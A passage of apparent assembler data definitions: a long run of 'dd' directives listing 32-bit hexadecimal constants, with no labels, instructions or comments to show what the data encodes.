4A9C91D1h, 0F8653C4h dd 0FC2CB768h, 2FBCA6A0h, 0A707FAEAh, 1DF1C0B4h, 0D4F30B05h dd 0B030A8A2h, 3A6300ECh, 0D42AA2BDh, 0FA126E0Bh, 9C069D25h dd 0A7A04960h, 676C447Ch, 15E0C170h, 0A449495Bh, 3ECA1080h dd 37147747h, 0F058E3h, 0C1EF4CCh, 1813093h, 0DDE91A57h dd 69C6B443h, 0C5510034h, 0A8C951Fh, 0F0BF3DBBh, 6AC0F700h dd 14B685A9h, 7F1C2893h, 0E465BA9Fh, 5E9C9E84h, 9100CA46h dd 332CFF7Dh, 48024A04h, 0F14089FBh, 42612064h, 0A64F15F4h dd 0BC60F488h, 7C17273Ch, 0FA8E5091h, 26F071C0h, 0D415D249h dd 0C9A070BCh, 5860DB29h, 0B000B55Dh, 3C5840Ch, 0EFBFFDE1h dd 0F3056862h, 21E6DFCh, 90E9F2CCh, 4891C54h, 414892CAh dd 10346638h, 27357411h, 3CAB0A3Bh, 417DD004h, 5A656AD2h dd 7AE8C2F9h, 820804EAh, 1404D9A6h, 0B25F0070h, 452E344Ah dd 0FEE50012h, 2C1E06C2h, 94BCD99Eh, 0F326BB80h, 4BC4863Eh dd 2398CC99h, 0A3E15413h, 5C6E106h, 29B90031h, 3B6EE2A7h dd 5D3F7824h, 0EBD58258h, 5E419FC9h, 0CE2D6278h, 0F041C64h dd 5D1A9DCh, 4AECA882h, 717C51F4h, 303185Fh, 9D59492Eh dd 9EEFAEC7h, 700964E6h, 3682F716h, 5CAD5405h, 7CCBE817h dd 72C0CAC8h, 10BAFBh, 6DD7CE03h, 0F9DC3714h, 0EEF6B525h dd 2D163E40h, 2961C0F0h, 8552F3F7h, 0FC353Ah, 278D436h dd 6F25D32h, 79D9EE05h, 0CB9B0ABh, 7DD80686h, 0D9662419h dd 73BB40CCh, 52F211FCh, 1F0D3805h, 80A863A5h, 0B33BD4C0h dd 69006A8Fh, 0D5D6900Fh, 4C0E8238h, 0B010344Fh, 848A9230h dd 86C050C8h, 0EEE69E27h, 33A21DA5h, 303A927Ah, 0A9847C98h dd 8CC9F128h, 3F4461Fh, 0A54816FEh, 0F37BAC80h, 402A5267h dd 67305AE2h, 0D2B44CD3h, 0C39EF10Bh, 0F96C451h, 4F1CFC20h dd 78B800D5h, 0F06B6C4Bh, 0A95A9A60h, 10AFD498h, 587E05D5h dd 71991AACh, 6004C48h, 0C5AB547Ch, 0C64FD0DFh, 8F0A4090h dd 109A06F0h, 79550F11h, 0BFDE020Eh, 33692045h, 0F5BB25h dd 0F7D570C0h, 4F6C1F2Dh, 0C0B3AA27h, 206D5650h, 110B5D39h dd 29FA0BCAh, 964D81Ch, 706F4156h, 142768F0h, 0C274CA60h dd 0A5040E48h, 48C2FB9Eh, 8BEA202Ch, 59EEC452h, 5663DD00h dd 0E7937944h, 89481246h, 0ED4F25Dh, 0E0490E61h, 20FC1582h dd 0BDC70925h, 0A89D1941h, 19805A11h, 0EF48866h, 86D00601h dd 0A84F08BBh, 77807022h, 0CAE0E903h, 7C20C14Bh, 4AB86DF9h dd 0E2A83430h, 3154B2F8h, 0F5C87189h, 0B856EECBh, 90217C28h dd 9C951152h, 0DC152342h, 10663190h, 0CE236B18h, 1FA9E7A4h dd 28FCB003h, 20DAA14Fh, 7479EBC2h, 0BD0814DCh, 0A8B72D59h dd 2EDCA200h, 1D7BAEF9h, 7E86FFB5h, 0F145FB93h, 7875D4ECh dd 3508019Dh, 803316B2h, 3D30CFA2h, 67B863h, 258DCD8h dd 0FA40C17Bh, 0CC06C24Bh, 31C9D9h, 780C9F74h, 90CD5A1Ah dd 909F96F8h, 1248BF28h, 6EB08h, 0BAB18E08h, 0CE0037C7h dd 4ADDEAF8h, 0B188786h, 8249E1F5h, 0AAE4F845h, 5F4BD067h dd 3B586CA2h, 0E0216E9h, 46C06432h, 0B0B7E438h, 5C98B63Ch dd 38022B46h, 1C4DF965h, 0C20058F8h, 0E1F0534h, 3449DBA0h dd 0C1E9C1D0h, 1564140h, 2C244AAEh, 159D00B6h, 448E6F0Bh dd 1D0404B8h, 0F1D8BBE6h, 80E29895h, 0E33023F2h, 88B30103h dd 891D31AFh, 442F2F2h, 945AEE89h, 8C06D4Bh, 4BCD4844h dd 23082FB7h, 0EDB00ABh, 0E089F515h, 4DCACB1Dh, 643E9998h dd 0C35C1661h, 7F00805Dh, 0FBEE946Ch, 0FC2ACB26h, 0F65465Eh dd 43E9DB46h, 2F4974BAh, 7C375FC9h, 0A16DCF00h, 31980F16h dd 9B6953A8h, 0A68EC7Ch, 7B34F603h, 0B89C6B20h, 9EB3BE0h dd 2DF9CA55h, 48E928A1h, 0BCB47C5Ah, 24008C59h, 0E262BC3Dh dd 9F7B6Ch, 0F0EB0B25h, 55F8019Ch, 0E1C720F6h, 0F7AF31A9h dd 0AC283029h, 3C8C24BCh, 40C63B3h, 0E192DC9h, 9A8C7854h dd 770FE801h, 29A967FBh, 65C6E080h, 0DBD11D46h, 126C4B48h dd 18C0D986h, 6C608A5h, 0E885F9BFh, 894982Eh, 60C2FB67h dd 23B84558h, 4C978D8h, 0D8DC401h, 79D8492Fh, 4FB0016Ah dd 3871452Dh, 0C010C814h, 0AF1CC0EBh, 882CEA4Fh, 0C09338B1h dd 7DA3DA00h, 3FADFFC4h, 36A96219h, 0A6F3968h, 562C88D0h dd 11012B46h, 0E475F80Ah, 103C394Fh, 8E27D14Dh, 0E8007C64h dd 2729CB35h, 0F08DE3h, 289D4185h, 3178BEE4h, 0C0DAC5Ch dd 6132BC0Fh, 1E7472h, 95874D91h, 662006D9h, 0F704600h dd 0E174CA17h, 0E5AC0C8Ah, 7F10309Eh, 38B0A4F4h, 347DF120h dd 0C1D153AEh, 7B0451C1h, 30E2A44Fh, 21CB6A09h, 0BE28A4D8h dd 0FB09FC4Eh, 5250846Dh, 0D9DD2140h, 465C8426h, 0BB6300ABh dd 0B01AF53Dh, 0A45B5C05h, 0C5FF00D2h, 0B6A51E6h, 0A763AB00h dd 0ECF2B19Bh, 12702C0Ah, 0FDDE0375h, 0B15DFC55h, 0D2B828h dd 0C43FE336h, 7CCA467h, 0DDED0E17h, 7AAFB409h, 25FB71D8h dd 0A890661Bh, 9C0AA311h, 89B02DA2h, 0E0A44803h, 18E2FCF0h dd 0A4305AF2h, 6DD20756h, 21A94108h, 7A55D9EEh, 0FA2D0004h dd 0CE43CA5h, 511C1FBFh, 0F4F81313h, 0EC026278h, 54BA7BA4h dd 48384B2Ah, 994E2042h, 0F56420D0h, 848C265Ch, 5E047514h dd 9EC4B8A9h, 0EE292DBBh, 2F934EC4h, 0CF23ECh, 8E0B9B6Bh dd 0D32542B5h, 0F66403B0h, 44714C63h, 7133A60Fh, 0E9EBCA80h dd 0B51B0Bh, 57274ADCh, 0A9CB12DFh, 0F94A0D5h, 0F9E7E8B1h dd 1BE0C3h, 0D5230D18h, 113D6BD0h, 4EFCE890h, 71DC9184h dd 2F821824h, 8E64DDFh, 0B8FBB501h, 0CAE1A35Ch, 4D469880h dd 1EE08D6Ch, 0E30EEEF2h, 3D7A78ECh, 6CB663D3h, 5F9EB5E0h dd 0C5C1F00Ch, 0A0677865h, 804930D0h, 0CD784F2Dh, 549D7D5Eh dd 23042F7Bh, 0BFB2005Fh, 764BC2DEh, 7C61BE03h, 0FD281ABh dd 386A79E0h, 9F347898h, 7C6A3C9Ch, 1654674h, 0F7ACFFEh dd 7C682B90h, 48C5BB8h dd 1240F01Ah, 41B0C343h, 34C70BE2h, 2761AA64h, 0B3BBC0AFh dd 6D332509h, 0EB4C0EF6h, 46084E3Ah, 239C0294h, 4788DC16h dd 641500F0h, 0E0F43423h, 0C9036BE0h, 0F91F6CF3h, 5D48223Dh dd 4B001DEEh, 0A25E24B6h, 6BE86Dh, 351EDD0Ch, 63C46C7Eh dd 5140409Ch, 5297F2Eh, 17A92310h, 4864BD61h, 0E4204FF8h dd 130E056h, 0CBE35A4Dh, 2F6F408Ah, 0DF3CB414h, 6C18DB0Ah dd 68465Ch, 24F72ED9h, 283F86F6h, 0EE68AEECh, 1B2F002Ah dd 697296B3h, 250BF41Ch, 0D380C27Ch, 2E11C4h, 86522532h dd 0F9083Dh, 4B1B7CFh, 0EEEAE406h, 1F2DD117h, 8B5BB8B7h dd 0C7D8C844h, 7E47403Ah, 0BA4867EDh, 0C8872DE8h, 5B2D23D0h dd 28EC89E1h, 8C57ECF4h, 0C9903D0Bh, 51C04CEh, 7B03A640h dd 0CC3B6962h, 6B9180B6h, 2C1D9830h, 31E527AFh, 3C7CE842h dd 2CC703DCh, 0BDF81C36h, 282713B1h, 2D26821Ch, 0E860C4E3h dd 302095D4h, 7C5DF5AFh, 63C2980h, 0AB2703C0h, 630F2175h dd 0E095FDA0h, 0D0A7ED83h, 80E4BEC6h, 0E1994CDDh, 0D16C985h dd 70810BEFh, 41D5EE4Ah, 0A90D4836h, 7AE17DCDh, 0FCF68474h dd 0EA983EA3h, 0F4C3C9F9h, 5A5CDE07h, 0D6948821h, 0E82BA000h dd 7A1F917Ch, 0DC471C0Bh, 172280F8h, 2C664134h, 4DFDA909h dd 0B924467Dh, 182359B0h, 0C0D15CA0h, 0DF9B0607h, 7FDC21CDh dd 4437B80h, 0E561CB42h, 0AC1798EDh, 0C85C8E24h, 540AC059h dd 9512B672h, 3030B3FEh, 1ED0DBC4h, 0EEFB32E4h, 45BF0109h dd 639788F2h, 0CEA31DE4h, 0C0A9C4C9h, 0FE5B02C4h, 32F02D0Fh dd 990514E0h, 44921624h, 0CC4674h, 0F2A9FADh, 4BDC6A60h dd 0B210745Eh, 30A8F2ECh, 8300B507h, 1B746552h, 28F52F23h dd 1DDC7F11h, 9A5D89BBh, 0C0D1AC6Ch, 6101342Bh, 2C1475FBh dd 212E9097h, 450D50Ch, 70088A2h, 0B7F492CEh, 33F4152Dh dd 9EA6BB16h, 0CAEC7804h, 0AC0CF824h, 6A398C5Bh, 7579751h dd 5E11D009h, 2FE0038h, 562CFD35h, 7F662E06h, 0B394181h dd 1AD113C9h, 5C58487Bh, 0C6780421h, 88D50735h, 36006068h dd 0DEFD5E0Ah, 9E09E8B7h, 6CF70038h, 53CEF7Ch, 459B4825h dd 80B1EEBCh, 703C3F72h, 6CE93EA0h, 0ACD8F08Dh, 0C206F60h dd 0BBBADDh, 62A4FD50h, 99D9DB31h, 79B84958h, 85E5A912h dd 0C0302CE1h, 0AECF2733h, 91BD14E4h, 0A420FABCh, 34A2008Dh dd 497ADE6h, 91C274CBh, 0D151E89Fh, 185A79F8h, 45830053h dd 0F959F66Eh, 35001021h, 6F4937A9h, 19C8971Ah, 0D8182F09h dd 81B0299Dh, 0CDC89C1h, 0B474C412h, 24B72Fh, 9F9E54A6h dd 0B300AFE9h, 3BB2747Fh, 0B54B25E4h, 0C8F90809h, 64ECC52Fh dd 8C2C60D9h, 0EF130574h, 0BD170848h, 71E50800h, 0D84E0740h dd 44525B15h, 956BB120h, 0CA914C97h, 0B1BFAD80h, 0E100039Fh dd 0B6FD2A8Ah, 29E5F5C8h, 0D12C5739h, 3218D8h, 0F73920A9h dd 61CA09FDh, 0C8AC6A29h, 0FEF84425h, 35CC1F55h, 0B7DC07BAh dd 50F05161h, 0F52C7463h, 6F9E8302h, 0A0727E64h, 0DB98B2C4h dd 2CFC48E3h, 2C0E2980h, 0A9783042h, 53DBCBAh, 4061BC12h dd 828627EBh, 14C108A9h, 6800D254h, 638F699h, 0B4504A25h dd 580119A3h, 0E849C13Dh, 9084AA71h, 0BA812D77h, 0C166700Bh dd 0C989CC95h, 44AEC075h, 0FBECA98Eh, 0ED03F618h, 0E3D61AEBh dd 20A8E4D9h, 0C13F4900h, 3C7176BEh, 0EDEC9300h, 0B56F59FFh dd 18C07EAFh, 580A6EF4h, 0E8071185h, 0ED6A3FA5h, 0D6C7A914h dd 79ACBBB2h, 182579B0h, 46543C18h, 19BFBC1Ah, 0AC7B4C51h dd 50D8860h, 3E6EE801h, 33BC60C1h, 0A6022180h, 0F86CCF2h dd 0EC58B200h, 0D276C616h, 238116B7h, 34F4013Eh, 2E497F57h dd 28BC9C46h, 97C8E941h, 0F771E2h, 0AB28CA9h, 0AC3B86DAh dd 9386B01h, 5DC27075h, 0E0C4272Ah, 0A3977F34h, 12FEC124h dd 7E31093Eh, 432446BDh, 34CA08FFh, 0A8465E5Bh, 0C8FD6400h dd 8D4BC5EAh, 0CDF7CE04h, 0C805159h, 9F2F4801h, 7A9F839h dd 0C69073Bh, 0B8DC902Ch, 41274100h, 6A988A84h, 8A66C86Ch dd 3F23201Ch, 0FB5E0B97h, 0AE00885Ah, 304DF97Eh, 905DC847h dd 7C245222h, 65821E02h, 94F944F9h, 8216A161h, 304FB30h dd 61093D0Eh, 1AB2AFBBh, 0CBE41065h, 0E0162060h, 0AF247704h dd 0B0F854FAh, 0C8CB3780h, 0B227B3F9h, 0EEA67025h, 52030E5Eh dd 950082D5h, 0B98DCC9Ah, 6690E21Fh, 8121A940h, 4D647C6h dd 65093B49h, 6C3EBE01h, 5801CD23h, 7C5CF048h, 0D12702Dh dd 0B258E351h, 0B94F30D9h, 7D59C300h, 0E90AD41Fh, 0C2D34E0Dh dd 6464C16Ch, 77712D00h, 18EFFB2Bh, 0BE9E0019h, 4D7F0D0Ch dd 9C283972h, 0B797B8FEh, 8ECF0BE4h, 3D8AC0A0h, 6D95557Bh dd 0C8F5C014h, 2D1205C1h, 0D4B80EF1h, 0E52CC0DCh, 0E613D19Ch dd 0BB6C583Ah, 8A24B50h, 2E17BE01h, 73519698h, 3066A2D8h dd 0BA5B18E8h, 0DCF71C80h, 4DAF1819h, 7C0E1007h, 5BD3FCA8h dd 6C00CFE0h, 8A753198h, 27A2A70h, 0A1CE17A4h, 7C51E81Dh dd 818ADD9h, 8AE3EC00h, 0D0B26912h, 85363A4Dh, 0AC297C15h dd 0C1A8DA4Fh, 830F5BCDh, 0D68856EEh, 301D1E00h, 0DDD049C4h dd 1058B279h, 573F5CDh, 0AAEDD8B4h, 408D28C8h, 994EAE6Ch dd 10AB3C09h, 0BE16344h, 0A5E9D5E5h, 27355060h, 36C5182h dd 87B1D1F6h, 0D8C12198h, 4680E900h, 0F9D46E03h, 3884971Dh dd 0D64E83Eh, 618DBF7Fh, 55AC052Bh, 50FCF878h, 0FE3CBA88h dd 93E19BCCh, 2F285BB8h, 6C2320h, 0DDF02609h, 2D00698Fh dd 194AB6CFh, 0D6F6B27Eh, 0FFC6F81h, 40BE851Fh, 0FBFD3ACDh dd 2AFC256Dh, 0C079BCF2h, 45D70C44h, 0BCA42C4Ah, 0F0028C25h dd 5FD27E12h, 1500F2A8h, 987475FBh, 318FBC18h, 59742DAFh dd 0DAFCE4A0h, 403BD624h, 110A3820h, 0F47FFDF5h, 0EDD1139Ah dd 63E1C0C0h, 0E5016792h, 1F78AE19h, 91CEA60Eh, 7C4E763Ch dd 0E9C02BC8h, 0EBB6FB14h, 0B6063320h, 5746761Ch, 0F85E4004h dd 0AB008051h, 0F0017D4h, 4703CEB6h, 0B58E9A85h, 0E180D435h dd 8A6BA346h, 0DF3D1D1Ah, 6A1982BCh, 60702BF4h, 39D5AF0Ah dd 23BB85Bh, 0BD7F7882h, 4570E42Ch, 0D4E6FC7Ah, 9EE25700h dd 0F63BB0Eh, 0A84C964Dh, 10D12D90h, 2EA274C3h, 8E0D1F00h dd 1B0A373Ch, 839FE10h, 0A05FFE03h, 6FAE66A8h, 0EC37295h dd 4151F7A6h, 0DD68CB53h, 0A95A02E3h, 74C999D5h, 0F9DCC09Eh dd 0F0B0D14Bh, 0E0304CC4h, 2C8C65E8h, 0F632E5h, 0C28BBC74h dd 409CA31h, 0F19B6F7Eh, 18247938h, 0C7961FAAh, 826930A9h dd 8512CABDh, 0A024F90Fh, 54BC10FCh, 1DF2008Ch, 3437CA49h dd 7825BDC1h, 0BA183558h, 0FC156000h, 0CC21CF33h, 92375A09h dd 58E8D32Bh, 3500752Dh, 0DD66AD7Ch, 2F677B2h, 6A2E848Eh dd 0B5755B1Eh, 4BEA8078h, 0D83AC2E7h, 9FB4AA0Bh, 84C4E6h dd 8922A769h, 3CD0082Ch, 3E3FD700h, 0D3A1CD7Fh, 295660A9h dd 3753B925h, 7B55BA04h, 0E4BCD211h, 268C25BCh, 0E7396E2h dd 6782FD35h, 28C4C1CEh, 0E09A1090h, 4C0405F7h, 74A4F15Eh dd 0B6861C93h, 7A9704D4h, 0B254859Ch, 3159F2A4h, 0E008CD4Ah dd 5C4CA7BDh, 282C10C0h, 0F98DB702h, 18D8F46Dh, 7F548F02h dd 705280h, 0FDA4E2D4h, 20F9BFE4h, 80B60C6Ch, 0D2282F80h dd 0EAA7EAFh, 4950FBC7h, 4736B760h, 48E4587Fh, 2DF422B7h dd 41B4D4F8h, 5418CB2h, 554B481Fh, 940820B8h, 124E650Ch dd 0EC1BF1D0h, 32305550h dd 3059F2A0h, 0E6FEFC25h, 0AC7C8404h, 2C80ABFBh, 0BF884270h dd 0BD1B7485h, 5B874h, 3F8C82E6h, 0AD9F5BF2h, 0F362C300h dd 991BB849h, 0B1AE1040h, 48C92D06h, 160E0480h, 0A0C1E207h dd 7A06A220h, 1ABF7E1Fh, 8FB90380h, 0E421C72Bh, 0C5C068A3h dd 510135C2h, 0B554D662h, 898EE7Ah, 0DABA21F1h, 50CE3500h dd 318F0B40h, 0ADA80608h, 98EFA92Ah, 3D922D00h, 4668F032h dd 0E539C00Dh, 0B7F8CB4Bh, 95249CFEh, 83396F9h, 0EE210E1Ch dd 0F641F8C3h, 0E962B16Dh, 5000F3A3h, 14FEF922h, 80FAD1F4h dd 2C6566BCh, 83039239h, 0D072D3FCh, 35F754Eh, 0B32FB41h dd 1818F44Dh, 1689CA21h, 1C8A00A2h, 13EE4CB0h, 0D37E7FF1h dd 0E4373900h, 41AA8E42h, 223800FEh, 0F1BC4B7Ch, 64A44868h dd 0BDF8CD04h, 362CC92h, 0F8C5E820h, 1430302h, 798D45E1h dd 652B1800h, 0AC0E2130h, 0A5C300ABh, 461BC531h, 0C7061697h dd 0FBB50B92h, 24E028B0h, 24946A0h, 92B2F8C0h, 100231B4h dd 1F8B8EBh, 0D25DAEA8h, 0ED6BFD01h, 7B9851EDh, 95F11223h dd 8301912Ch, 0AB9A1EA6h, 0E1EF9BD2h, 0B4506566h, 0E367FD9h dd 0B3B03A2Eh, 0F15A7246h, 0FECBF700h, 6CA08158h, 189D7C6Ah dd 217473B5h, 241E5148h, 0D946FFC2h, 6009F72Fh, 49A8218Bh dd 58002324h, 9BE17612h, 3E5E38B4h, 93033F2Ah, 0E656E040h dd 0F26C8905h, 0A016D5B1h, 0C90CA6E8h, 64E9E021h, 0A659C8EBh dd 55C0AB01h, 725BFC1Dh, 30A42CF4h, 0D429E222h, 24009BF6h dd 61860F6Dh, 9FDC718h, 0C52B8CF8h, 35C09430h, 0C6624F11h dd 0A480CB88h, 7BA635D8h, 6C780162h, 9DEBA517h, 0C9A08AEDh dd 7E88CCF9h, 790B823Ah, 8820E73Fh, 14C3FDC4h, 1CF2649Bh dd 0D9E55F02h, 9081B710h, 0CCBF9968h, 890602CDh, 0B93A744Fh dd 21836308h, 6A98B777h, 6429C384h, 0DB1124E2h, 0CF62BD8Eh dd 8D31B902h, 0CCB57911h, 7A00AF3Bh, 4331ECB1h, 14E7D53Ch dd 0C05EDEAEh, 9D026405h, 23301FE2h, 0CAC4B61Ch, 8E628102h dd 60A68E29h, 298208F9h, 624C00A7h, 853E88FEh, 0F5340390h dd 960058CAh, 0DC6918B5h, 6C79000Ah, 0B0E09A12h, 86063F8Bh dd 5052AE02h, 0FA630190h, 0BC5FD20Dh, 2F33F4B3h, 66102B00h dd 8FA46B91h, 63F91DFDh, 6995381h, 91B41D34h, 86C2B906h dd 7818963Fh, 5CB7499Eh, 0C0244F80h, 448C44FFh, 472CB682h dd 26079D24h, 497C9EFAh, 8E3512FBh, 0E0940219h, 922775AAh dd 1F9A1C00h, 7F81C0BAh, 0AB866DFEh, 313B8200h, 6F756413h dd 0DB9102E9h, 97E047B8h, 6B924881h, 0EA79D431h, 0CEC48A01h dd 7C8D7551h, 0C480D112h, 72A59834h, 64F3ED02h, 0C79E2669h dd 60FC6400h, 2647991h, 0EA4F563h, 2C675F55h, 22601E64h dd 3005FD92h, 0C364A966h, 8CF5940Fh, 8C4350FFh, 0B011CA7Ch dd 688A492h, 0F8C2ED80h, 3C50EA20h, 0CA80C128h, 0F717C07Dh dd 330C53F2h, 0B29B4C34h, 0BB50F80h, 0EC8029FEh, 0AB6D408h dd 0D9B4FF03h, 0DC1DEB32h, 88916489h, 0F8C98044h, 8CAC92B1h dd 0EC1F44h, 0DF2F8C1h, 513623F7h, 0E02B7C98h, 1509F893h dd 0CC980467h, 22763E00h, 0FB267F0Fh, 0DCFCF1h, 0A1052DE7h dd 21975BD4h, 86B988h, 4B75B546h, 20311D6h, 3C1A44h, 22A6F0A8h dd 2CD4C01Dh, 0C2DC760Eh, 6A704073h, 92BD1FDDh, 9ECB0E48h dd 62EBBF3Dh, 8888D80h, 28013270h, 2FFD0D9Ah, 0E8BE5B10h dd 4C8094C9h, 0ACFFC724h, 0B18C448Ch, 5B244402h, 0E0646C56h dd 0B049BF1Ch, 303A0085h, 7E2BE688h, 0E8908D55h, 9399A883h dd 1F3E2098h, 0BC6381F6h, 2B81048h, 717A4EA9h, 0DC44C369h dd 4E028E46h, 5CFFC124h, 0B3108331h, 0E8382446h, 765616A0h dd 44922C4Eh, 0B80FC94Dh, 3669E83h, 5FA2EFB0h, 29146400h dd 2F6C708Bh, 86F2587Eh, 3A7C7B0Fh, 6D840C03h, 8C0010E6h dd 0D70ABA87h, 33705773h, 48086BEFh, 0BA3E2160h, 7302667h dd 393709B9h, 0C2D50004h, 68C05883h, 0D7027C61h, 7080E979h dd 85AD365Bh, 700C01C4h, 831FC2Bh, 3921C047h, 0FBCEAD0Eh dd 99C99C78h, 64738136h, 64713085h, 650A28BEh, 0FD84ADBh dd 0B20AC56h, 7C757480h, 9AB591Bh, 1F802351h, 86AD3501h dd 501839C4h, 70D3C88h, 0B7AF37ADh, 0E36AB01Ah, 8706C06Eh dd 5E3ADBFAh, 28D62A70h, 2034630h, 0C482AD09h, 10483119h dd 1AD0138h, 99FD300Bh, 0F0A6736Bh, 866F7E8h, 7CE17DC1h dd 0E37A3706h, 0B5C8039h, 0E53A0FECh, 0FD778C38h, 0C0760810h dd 0EC033121h, 470104E4h, 0F498224Bh, 844F0CD6h, 1C152C8h dd 72F4AA8Ch, 85AC0020h, 7F2D302Eh, 0B30A7577h, 888780D3h dd 6C3A082Ah, 0B4010C55h, 30F112Ch, 0B60BBF10h, 0AE89501Eh dd 38089836h, 86A21h, 5E7D20BFh, 0A7A2D52Eh, 0FC1C20F9h dd 0BEEC9802h, 46DB16A6h, 24427E28h, 806839F3h, 0A9EBEE0Ch dd 57E4C1E0h, 4107B230h, 0C885F815h, 11C00E90h, 46B60ABFh dd 3B2206h, 0FFBF096Dh, 0C24F2D49h, 71B9D912h, 80A92808h dd 0E0A7E715h, 7450E2C7h, 0DC48E884h, 640D3A50h, 0E600370h dd 0B62309BFh, 43116Eh, 0F6BF0668h, 10E4E03h, 897B044h dd 15BDD60Bh, 5023A03Ah, 0BE805F1Ch, 0D37695A3h, 0AC8F0A6h dd 0A2CEC3FAh, 7A9F00D8h, 73D9EF12h, 5FB6A401h, 1F4FFEC4h dd 5EB0AC40h, 8422297Eh, 1845D1E8h, 52EB008Ah, 0A676553Dh dd 0C631C3E5h, 74A57840h, 30066C52h, 813EAD0Ah, 0E09CC8C4h dd 3AD0235h, 0D37ADFCCh, 500541DEh, 62FEC7B6h, 0ADE7C405h dd 4523C03Ah, 0DCEFD200h, 986048h, 0AE4C021Ah, 662CAC80h dd 0C3E76D1Eh, 4E704798h, 0B4BD1F0Dh, 0BFC1C52Bh, 36980035h dd 6C0798D8h, 80D87849h, 0E50DEC09h, 42448C28h, 0EC010033h dd 141DB1E9h, 0D319FA93h, 0BC684F76h, 24D22AE4h, 3C380B7Ch dd 5E346026h, 0F0055046h, 723BD51h, 0B0A07E81h, 12E3E8CEh dd 30684360h, 12A9EA26h, 3655FBAh, 4C7C2B9Ch, 0D7A42EE0h dd 43C3AA18h, 0B7B1C18h, 6D94D9E9h, 600B1404h, 2335BA78h dd 47116BD7h, 0BA7F2C00h, 0A30D535Bh, 0CB66B100h, 9AD51C6Bh dd 4442408Bh, 2F503FE4h, 34984FA8h, 0A8819D7Dh, 33FAB8E3h dd 0F38C9952h, 0F66760ACh, 3AEA042Ah, 903F1FD5h, 71E5AE70h dd 1ED2E60Ah, 4B128CE7h, 8C01542Ch, 80AD0B04h, 546269C4h dd 0AD033621h, 10584D4h, 0E4BC147Bh, 84A3F6EBh, 0B2B9B458h dd 0ECC22080h, 7CB13059h, 91FD1B39h, 0FF788100h, 0FECFB629h dd 1D80A158h, 549A3024h, 320A855h, 90604068h, 94806D2Dh dd 4749527Ah, 10223D8h, 0B60EBF0Dh, 69070E66h, 0B365BF05h dd 85FF73DDh, 22D0C508h, 80848778h, 0AD34611Ch, 8731C4F0h dd 0AD0C3B03h, 6A45E163h, 0D98F6DFh, 6F13C330h, 9A6342C0h dd 0FC0A51E2h, 2ADB0690h, 0A6297051h, 1D91BC75h, 84AD3780h dd 448C09C4h, 0F033A45h, 48DBFEADh, 1D7AAB59h, 2B2FA19h dd 5B3527B4h, 8757A880h, 4B6AF530h, 7F112891h, 12EC0480h dd 448C10E5h, 1C013C74h, 5DCB3EECh, 0D4E4616Dh, 30A8A833h dd 29736FC2h, 8C10D58Bh, 8A48FF49h, 309239Ch, 0D737BA86h dd 204462BCh, 0FBA7D12h, 5E81BD0Bh, 0D790025Ah, 0FB7E0172h dd 29BE52h, 50B2E4DCh, 0A0CFF730h, 8829DA40h, 2A011578h dd 0EB0CB0F2h, 464DEC3h, 0E3FC0349h, 67E46093h, 0E95B3900h dd 62D043AEh, 3BF80754h, 0DCE38431h, 12028D21h, 5992951Fh dd 2158E0A8h dd 0AFD300A0h, 0A0C7E1Eh, 0E4308109h, 0F02D314Ch, 98C13C05h dd 0FCA16180h, 8142F109h, 0FA1DB800h, 0A221F84Fh, 0C8EF05BFh dd 0EA632E0Ah, 115427C3h, 517D6C9h, 75C927B6h, 0B795E403h dd 0F4194D23h, 0B42675BCh, 7E11DCBAh, 13EC429Eh, 241C18E5h dd 0DE1F3Dh, 0B9B58F3Bh, 0FCB384E4h, 0CC7178h, 11C094D1h dd 0AE03DB67h, 0E702BD05h, 0B0C1A60Ch, 3E007C0Ah, 5F521D1Eh dd 3038E234h, 293F8ECBh, 0F0A0016Ah, 77AF59ABh, 0A62DF180h dd 0E7B27AF1h, 0BCAEAC00h, 49B9222Eh, 14EB58FDh, 0CC21FF89h dd 54A2F830h, 3A988184h, 0F7E0004Fh, 0CC54515Eh, 41A2D023h dd 7D9E30h, 5A53DE9h, 0EFC2496Dh, 0AB9AA925h, 91B49758h dd 1D1B8045h, 30A2D718h, 0FC487453h, 6616F583h, 7C6563CEh dd 5288488Eh, 5AFE33C1h, 0AA16330h, 3ABFABA8h, 80791180h dd 0E50CEC0Eh, 48448C20h, 0EC060032h, 0C0DD09DEh, 0D50E948Ah dd 471DDAC7h, 657014D1h, 12FF1C83h, 807AB6EBh, 74F07EB8h dd 59009096h, 0EBFCEDA0h, 1077549Ah, 3C418A44h, 885180Ah dd 83D734BAh, 2D4E43C4h, 7964BA47h, 371010A0h, 0D759C6EEh dd 65064D0h, 8BA8160h, 0C563D721h, 1310C011h, 0BB76341Ah dd 7AF4D012h, 300DDC22h, 716BF14h, 58383EB6h, 0BF0C006Eh dd 231D2E38h, 69480ABAh, 7E5A1044h, 0FDFFB204h, 0EC8B241Eh dd 0A7C04188h, 0B9B65991h, 88FC0000h, 0AE532730h, 892AE434h dd 3988B4CEh, 0C80125CAh, 0AA9EDBFAh, 92DC034h, 9BE07815h dd 0C63A449Dh, 0D6F9DC03h, 0C1B09BCDh, 0D7FA1A8Ah, 7AA754A0h dd 70F99902h, 0A053FF7Eh, 83AE36C8h, 4EA81E67h, 2DD04C0Bh dd 0E027F31h, 8FA2ED0Ah, 0FE8C4349h, 88965420h, 3B9C31AEh dd 22FF7628h, 29C68438h, 0C810CA25h, 2056C048h, 281F7623h dd 50854DC5h, 0BC1AB2DBh, 4444C788h, 7AF06753h, 588EED03h dd 3A8060E2h, 8A1D192Dh, 0ACFB2200h, 3079D80Ah, 810201EDh dd 63D072B6h, 0D8C7E629h, 59604744h, 0A073B5Ch, 0F2B476CAh dd 0BDF46F11h, 3040E0h, 6E91EF26h, 5F35A077h, 7DFC42F9h dd 38EC0A30h, 405CE510h, 0EC023EE0h, 0A6818000h, 590CF898h dd 0E78B9B5h, 2B60FD0Eh, 1E86834Bh, 45449CA7h, 626EC360h dd 0D43A3A4Bh, 0CD004623h, 0B2338806h, 1E4A4BF7h, 5E7064D0h dd 0AB004146h, 0AE5D59Ch, 0F900E912h, 0B50FAB6h, 0B9ED7B0Ch dd 48113B0h, 25438B50h, 4323402Eh, 3056ED02h, 4A87AF5h dd 4AD8EF12h, 46448AC0h, 5180B488h, 13B4D476h, 0CF6FB0E5h dd 0C039C898h, 0B369DDBEh, 1975F4A3h, 8EFD1500h, 0D51242CBh dd 0BC4106E1h, 216EAB59h, 7B70E4BBh, 614D0EACh, 0DEC95349h dd 0ECB41490h, 22D27825h, 762FB630h, 0F9843959h, 0C53CAFDBh dd 88588E0Ch, 7B82C93Ah, 0C4A770E4h, 7DF00D2h, 890ACE8Fh dd 0F4332EC1h, 8069C8A4h, 8BAE9B54h, 0D79209EDh, 5CC08FB2h dd 